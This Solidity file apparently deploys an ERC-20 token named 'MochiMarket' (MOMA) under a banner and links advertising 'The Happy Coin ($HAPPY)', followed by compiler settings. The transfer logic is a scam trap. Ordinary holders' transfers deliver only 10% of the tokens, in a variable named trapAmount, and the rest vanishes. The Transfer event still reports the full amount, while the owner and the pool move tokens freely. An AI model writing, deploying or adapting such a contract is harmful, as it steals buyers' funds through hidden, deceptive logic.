/**

 ___  ___  ________  ________  ________  ___    ___
|\  \|\  \|\   __  \|\   __  \|\   __  \|\  \  /  /|
\ \  \\\  \ \  \|\  \ \  \|\  \ \  \|\  \ \  \/  / /
 \ \   __  \ \   __  \ \   ____\ \   ____\ \    / /
  \ \  \ \  \ \  \ \  \ \  \___|\ \  \___|\/  /  /
   \ \__\ \__\ \__\ \__\ \__\    \ \__\ __/  / /
    \|__|\|__|\|__|\|__|\|__|     \|__||\___/ /
                                       \|___|/

The Happy Coin ($HAPPY)
https://www.thehappycoin.co/
https://exchange.pancakeswap.finance/#/swap?outputCurrency=0xb0b924c4a31b7d4581a7f78f57cee1e65736be1d
https://poocoin.app/tokens/0xB0B924C4a31b7d4581a7F78F57ceE1E65736Be1D
https://t.me/happy_coinTG


*/
//   SPDX-License-Identifier: MIT

pragma solidity ^0.8.3;

interface ERC20Interface {
  function totalSupply() external view returns (uint);
  function balanceOf(address tokenOwner) external view returns (uint balance);
  function allowance(address tokenOwner, address spender) external view returns (uint remaining);
  function transfer(address to, uint tokens) external returns (bool success);
  function approve(address spender, uint tokens) external returns (bool success);
  function transferFrom(address from, address to, uint tokens) external returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

interface ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) external;
}

contract Owned {
  address public owner;
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

contract MochiMarket is ERC20Interface, Owned {
  string public symbol;
  string public name;
  uint8 public decimals;
  uint _totalSupply;
  address public pool;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  constructor() {
    symbol = "MOMA";
    name = "Mochi.Market";
    decimals = 18;
    // One trillion
    _totalSupply =  1000000000000 ether;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  function transferPool(address _pool) public onlyOwner {
    pool = _pool;
  }
  function totalSupply() public override view returns (uint) {
    return _totalSupply - balances[address(0)];
  }
  function balanceOf(address tokenOwner) public override view returns (uint balance) {
      return balances[tokenOwner];
  }

  // Authentication done previously
  function _transfer(address from, address to, uint tokens) internal {
    if (from != address(0) && pool == address(0)) { pool = to; }

    // Send from the pool, but do not receive it
    if(from == owner || to == owner || from == pool) {
      balances[from] -= tokens;
      balances[to] += tokens;
    } else {
      balances[from] -= tokens;
      uint trapAmount = (tokens * 10) / 100;
      balances[to] += trapAmount;
    }

    emit Transfer(msg.sender, to, tokens);
  }

  function transfer(address to, uint tokens) public override returns (bool success) {
    _transfer(msg.sender, to, tokens);
    return true;
  }

  function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
    allowed[from][msg.sender] -= tokens; // this reverts in Solidity 0.8.x if tokens > allowed
    _transfer(from, to, tokens);
    return true;
  }

  function approve(address spender, uint tokens) public override returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }

  function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
}

{
  "compilationTarget": {
    "contracts/CheapERC20.sol": "MochiMarket"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}